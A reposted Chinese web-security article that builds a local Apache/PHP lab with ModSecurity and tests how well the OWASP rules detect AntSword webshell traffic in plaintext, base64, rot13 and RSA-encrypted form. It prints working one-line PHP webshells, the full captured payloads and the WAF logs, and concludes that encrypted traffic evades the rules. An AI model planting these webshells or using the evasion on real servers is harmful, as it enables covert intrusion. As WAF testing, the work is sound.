网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

web安全团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > web安全 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

开源安全模块modsecurity测试攻击有效载荷加密,WebShell流量检测的WAF性能分析

文章来源:重庆网络安全 发布时间:2020-02-08 10:06:01 围观次数:
分享到:

摘要:首先,在本地快速重现对手的环境,其次,配置多种加密组合以形成攻击有效载荷,第三,使用开源安全模块modsecurity在加密后测试攻击有效载荷的效果。

    首先,在本地快速重现对手的环境,其次,配置多种加密组合以形成攻击有效载荷,第三,使用开源安全模块modsecurity在加密后测试攻击有效载荷的效果。

搭建环境

  另一方的php版本是5.6.40,因此设置一个Apache php5.6.40的测试环境。 打开virtualbox,链接以复制centos镜像系统,并根据以下过程进行配置。


  1.安装Apache

yum install -y httpd httpd -v

Server version: Apache/2.4.6 (CentOS)

Server built:   Aug  8 2019 11:41:18

  2.安装php5.6

yum -y install epel-releaserpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm yum -y install php56w php56w-mysql php56w-gd libjpeg* php56w-ldap php56w-odbc php56w-pear php56w-xml php56w-xmlrpc php56w-mbstring php56w-bcmath  yum -y install httpd php-gd56w php-intl56w php-mysql56w mod_ssl openssl mcrypt php5-mcrypt56w yum -y install php56w-mcrypt php56w-soap php56w-intl  php56w-pdo systemctl restart httpd.service php -v PHP 5.6.40 (cli) (built: Jan 12 2019 13:11:15)  Copyright (c) 1997-2016 The PHP Group

  制作一个index.php以显示phpinfo(),在访问机器时关闭firewalld以方便测试

systemctl stop firewalld         //当然也可以通过firewall-cmd去开放端口

  3.为了以后查看攻击流量,请安装另一个wireshark,包括wireshark-gnome等,然后直接将其替换为*。

yum install wireshark*

  4.在没有waf设备的情况下配置apache-modsecurity来测试流量,因此尽管效果不如实际,但使用模式安全性和OWASP(开放式Web应用程序安全项目)核心规则集CRS进行测试。 场景不太直观,但足以说明问题。

yum -y install mod_security cd /etc/httpd git clone https://github.com/SpiderLabs/owasp-modsecurity- crs.git mv owasp-modsecurity-crs modsecurity.dcd modsecurity-crs cp crs-setup.conf.example crs-setup.conf vi /etc/httpd/conf/httpd.confInclude conf.modules.d/*.conf Include modsecurity.d/owasp-modsecurity-crs/crs-setup.conf Include modsecurity.d/owasp-modsecurity-crs/rules/*.conf systemctl restart httpd

modsecurity的默认配置是检测攻击将被阻止,我们将其更改为仅日志记录。

vim /etc/httpd/conf.d/mod_security.conf SecRuleEngine On (拦截) SecRuleEngine  DetectionOnly 记录 tail -f /var/log/httpd/model/modsec_audit.log //查看拦截日志

  测试一些攻击媒介,并查看日志中的记录以证明配置已完成。 环境已设置。

攻击流量配置,分析,检测

  明文php-webshell配置

  首先写一个句子,以查看明文webshell流量传输。


 vim test1.php

<?php  @eval($_POST['aaaa']); 

?>

  配置蚁剑连接

image.png

明文流量分析

  使用Wireshark查看测试连接的流量

POST /test1.php HTTP/1.1Host: 192.168.1.13Accept-Encoding: gzip, deflateUser-Agent: antSword/v2.1Content-Type: application/x-www-form-urlencodedContent-Length: 993Connection: closeaaaa=@ini_set("display_errors", "0"); @set_time_limit(0);function asenc($out){return $out; };function asoutput(){ $output=ob_get_contents(); ob_end_clean();echo "620e2fc";echo @asenc($output);echo "71a0ccfbc1"; } ob_start();try{ $D=dirname($_SERVER["SCRIPT_FILENAME"//dirname()函数获取给定文件路径中的目录部分,而$_SERVER['SCRIPT_FILENAME']全局预定义变量用于获取当前执行脚本的完整路径);if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]); //如果没有获取到就用PATH_TRANSLATED,获取当前脚本所在文件系统(非文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。Apache 2 用户可以使用httpd.conf 中的 AcceptPathInfo On 来定义 PATH_INFO。$R="{$D}";if(substr($D,0,1)!="/") {foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:"; }else{$R.="/";} $R.=" ";//以上是判断windows或者linux盘符,进而把获取的目录信息存入变量$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";//posix_getegid()返回当前进程的有效用户组ID,posix_geteuid()返回当前进程的有效用户ID$s=($u)?$u["name"]:@get_current_user();//get_current_user()方法进行获得PHP当前脚本所有者名称$R.=php_uname();//php_uname返回运行 PHP 的系统的有关信息$R.="{$s}";echo $R;;}catch(Exception $e) {echo "ERROR://".$e->getMessage();} ; asoutput();die();//输出HTTP/1.1 200 OK Date: Wed, 29 Jan 2020 12:53:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40X-Powered-By: PHP/5.6.40Content-Length: 136Connection: close Content-Type: text/html; charset=UTF-8620e2fc/var/www/html./.Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64.apache71a0ccfbc

为了更好地理解antword发送的流量数据包,仔细查看了已发送的数据包并检查了一些相关功能。 在发表评论时,也为PHP函数的出色表现而叹息。 该功能已在本地测试。

<?phpecho posix_getegid();echo posix_getlogin();echo get_current_user();echo php_uname();
0t1gerrootLinux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64

果然! 与回包现象一致。 同时,它还表明,如果直接以纯文本形式进行检测,则这种流量与waf前面的自我抛出没有区别!


  明文流量检测

  WAF测试结果如下:

Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "708"] [id "920350"] [msg "Host header is a numeric IP address"] [data "192.168.1.13"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"]Message: Warning.     .....     ..... Apache-Handler: php5-scriptStopwatch: 1580358081210887 7750 (- - -)Stopwatch2: 1580358081210887 7750; combined=5379, p1=753, p2=4202, p3=42, p4=155, p5=227, sr=194, sw=0, l=0, gc=0Response-Body-Transformed: DechunkedProducer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.2.0.Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Engine-Mode: "DETECTION_ONLY"

统计信息如下。 匹配规则的数量是根据grep line|wc -l计算的。

image.png

接下来,我们首先测试对称密码。


  Base64&rot13 Webshell配置

  Antsword带有几个可测试的shell,这为我们提供了极大的便利。


  顺便发布代码。 首先看一下base64代码

<?php$ant=base64_decode("YXNzZXJ0"); $ant($_POST['ant']);?>

Base64&&rot13 流量分析

POST /php_assert_script.php HTTP/1.1Host: 192.168.1.13Accept-Encoding: gzip, deflateUser-Agent: antSword/v2.1Content-Type: application/x-www-form-urlencodedContent-Length: 942Connection: closeant=%40eval(%40base64_decode(%24_POST%5Bq9c4fa426fb243%5D))%3B&q9c4fa426fb243=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMzRhZTE3IjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICI1YmJhN2YiO31vYl9zdGFydCgpO3RyeXskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfQkiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkMiLCJaIilhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fWVsc2V7JFIuPSIvIjt9JFIuPSIJIjskdT0oZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIikpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKToiIjskcz0oJHUpPyR1WyJuYW1lIl06QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIJeyRzfSI7ZWNobyAkUjs7fWNhdGNoKEV4Y2VwdGlvbiAkZSl7ZWNobyAiRVJST1I6Ly8iLiRlLT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgpO2RpZSgpOw%3D%3D

除了eval之外,以Base64加密的流量将至少不包含这么多的高危函数。 让我们在加密后进行测试。


  Base64&&rot13 Webshell流量检测

  WAF测试结果如下:

Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file  Message: Warning. Matched phrase "base64_decode" at ARGS:ant. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "301"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: base64_decode found within ARGS:ant: @eval(@base64_decode($_post[y07ae431d0730c]));"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] ... ...

统计如下

image.png

通过Antsword接口配置rot13加密和解密,捕获数据包并查看流量,只需将base64加密功能更改为str_rot13

ant=%40eval(%40base64_decode -> ant=%40eval(%40str_rot13(

拦截数据与base相似。  WAF统计如下

image.png

可以看出,在对称加密算法下,eval,base64和rot13也可以触发更高的警报级别。 但是,与明文传输相比,触发警报的数量将不到一半,因此作者进一步尝试了使用Antword提供的非对称加密算法。


  RSA加密流量配置

  从version> = 2.1.0开始,Antsword的作者添加了RSA模式。 默认情况下,Antword只支持PHP。 另外,服务器需要启用php_openssl扩展。

修改php.ini,去掉extension=php_openssl.dll前的注释,重启Apache

使用方法

Antsword->系统设置->编码管理->新建编码器->PHP RSA->命名为rsa_php->点击RSA配置->生成

image.png

  1.将以下PHP代码复制到虚拟机中,并将其命名为rsa.php。


  2.配置蚂蚁连接类型并选择rsa_php


  3.测试连接


  RSA加密流量分析

  粘贴wireshark捕获的流量

POST /rsa.php HTTP/1.1
Host: 192.168.1.13
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1712
Connection: close

ant=W%2B9beN7Ltke390bzZGS5JbOBCnO8SRXW6Z8w0WaMF6CdAymaCu6NeWE9FX0kyCFs3jaLkDWkEvcTsSC2gEu85l5ugsVJUK6bTWFlVNeRBoezjTjUJZdjGvnjrxjd5Pn4iZaRjoaxAZPeZP2ozupbevWFUId4ZzkKZ7bIVPrZKk4%3D%7CYjt1kz5Gkj2N6Ajkqp3VXcg%2FEA7emPXV6oyTwZAZS9Ux1%2Fpby5PIuU9LsMZmGlMqGXvRFO23is9MUJpF66yboIAIYqpGRJCDgSP4S%2BfG6DD0lRYGEOIEsfpaLSVMhxZtR6OnFXp%2FfbXqmgGUk0a8HCUfQ83XmXS%2BRsl0Yx2PFc4%3D%7CAWtIrpychlQENib6basrK89LJcjnKk%2Bf5mVM72MOnPHxaviQFXws2TKNdGPI4SI9%2Fkwl%2FUGqB22s6NOwCza1f%2BkzGK7FqEciITMZMNFbokFsmjG8IiWkRO%2B%2BbWWnsMesfavJub9aEln41x8U97WjgKGKMMdqXZHrIRS4KU8pQhU%3D%7CXLL0DnlWOLx3hNXd2VGzmbdcgmtQoiyiiPNQCiBkAbUK1mLM14l6f22Pkl2tSSw%2F9dYIkdZ91wUok9GHDBMmKkL6D%2BJGQxrJDyQXEfytOzfzZmKqp%2BJ%2BryVm2zwLJMXTdpZ%2BUsBWgVzlD%2Bxga6%2F7rCqkG%2FtaWM6e%2BGegcS4lWTE%3D%7CJGJR50q4jSkL028qffvT%2Be%2BnJcMQth6jz86sntyuI3GZQUtjS5%2FoCByIqsGi8zPwCKS0J%2FAEiEGhAwN7%2FBQXYjyVWAs5VpDhPrVUs7EbqFgllVmrNt8T5Rt7O%2FCHVSiR2AQjyG%2BxB1LjO5ElX%2FH8Pfh25dDpVaFt3MEr1lxT69I%3D%7CSIirF52ZEhs%2FMBfco2kWouurB%2F%2FhCvLG29%2BK70a6t8Io%2FE%2F7VL5IO38s2j%2Bjq%2BSw6dUDL9cEUbEx2G2U4r0fHiDSYPbbn9WS6FbQSCPHxG6lxLHCXmmkKxj%2B2P8khyMM%2FHdVCWai%2B5L5hXYr%2BUWFkCkbv%2BUyYUSsfL29sGxWeVA%3D%7Ci1qZBSL6Dfu31cisSj3J%2BY7epLuQl62DdEWMCiZRQOz5AHFsPFsWtO59uedRC0CfMOhcbIDGGq2GNThL8VPz%2FUfLJTd3kuoFo7p225iPcYOKJS75V36ccHw3bMI3LOWcEhUF3LPX2YcaLSvwDDyHfrnWL2Qj6VmQKew8edoAIdU%3D%7CkJih3pPT70J6BiPll9o4PtH%2Byl%2BmB8%2BUPDAS%2FfAu4uzi2yDMCIdzdkaFLlnsUKewHXLf1mWWVpGkfqLCttgZed9wUtl6N22C3nQGZqZ%2FqnNiKeBYK0%2FJBmimOAf7nSMB1WF%2Bab5RmRq6cSSwrWc4ya93kVJzmIg1BdyaiycdN5I%3D%7CHV2y7vs6wQUIQ8DnvveCeD8xtjRecf%2F%2B7rAl7Y4Wa8S4Y0onKYHOz2Nz0hgBJtFN%2BLRIj9%2B%2FYyOq%2Fslq0XW%2BolQCUl5hf8%2F3Y9OmlxKvSCGf3A0IIAquqSaJXpU4w8rqVyP9Od2bgDXDzsOx8YgVdigeyZxLS0TNNODTGIATb7Y%3DHTTP/1.1 200 OK

Date: Thu, 30 Jan 2020 05:47:09 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
X-Powered-By: PHP/5.6.40
Content-Length: 133
Connection: close
Content-Type: text/html; charset=UTF-8

8ee773/var/www/html./.Linux localhost.localdomain 3.10.0-1062.9.1.el7.x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64.apache47970246

在经历了非对称加密算法之后,除了整个流量传输的数据长度之外,肉眼无法分辨出差异,这种效果是相当令人满意的。


  RSA加密流量检查

Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "708"] [id "920350"] [msg "Host header is a numeric IP address"] [data "192.168.1.13"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"]
Apache-Handler: php5-script
Stopwatch: 1580363229118571 7666 (- - -)
Stopwatch2: 1580363229118571 7666; combined=6153, p1=574, p2=5170, p3=39, p4=156, p5=213, sr=205, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.2 (http://www.modsecurity.org/); OWASP_CRS/3.2.0.
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
Engine-Mode: "DETECTION_ONLY"
| Apache-Error | Message | 匹配规则数 | level |
| ------------ | ------- | ---------- | ----- |
| 1            | 1       | 1          | --    |

Waf只能检测到Host header is a numeric IP address,这基本上意味着waf对RSA加密的webshell通信基本上没有保护能力,并且将来的安全设备检测只能依靠防病毒软件。


  这种加密程度足以满足作者的实验要求。 但是,还有很多很多问题,例如绕过软件,混淆代码等等。 每个方向都需要专注,谨慎和长期投资。


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:开源安全模块 modsecurity 有效载荷加密 WebShell流量检测 WAF性能分析 重庆网络安全

上一篇:WAF防御及WAF的上传绕过手段
下一篇:GetShell思路之phpMyadmin:基于PHP的MySQL数据库管理工具,使网站管理员可以通过Web界面管理数据库。

热门资讯

鼠标向下滚动